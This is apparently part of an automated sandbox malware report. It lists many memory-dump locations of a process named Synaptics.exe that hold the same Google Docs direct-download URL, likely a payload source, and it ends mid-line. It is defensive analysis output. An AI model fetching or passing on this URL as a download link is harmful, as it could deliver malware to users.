Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKMHA
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKs
Source: Synaptics.exe, 00000005.00000002.3771674892.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D718000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM%on
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMH
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMIzk
Source: Synaptics.exe, 00000005.00000002.4257879930.000000004E6BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMh
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNM
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNu
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNz
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000005.00000002.3771674892.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4223625581.0000000045B0E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPM
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPu
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPz
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000005.00000002.4264596768.0000000050D7E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQh
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRJ
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadResol
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRr
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSN
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSyna
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTH
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTp
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUL
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUsers
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW%
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWI
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWq
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXLil4
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 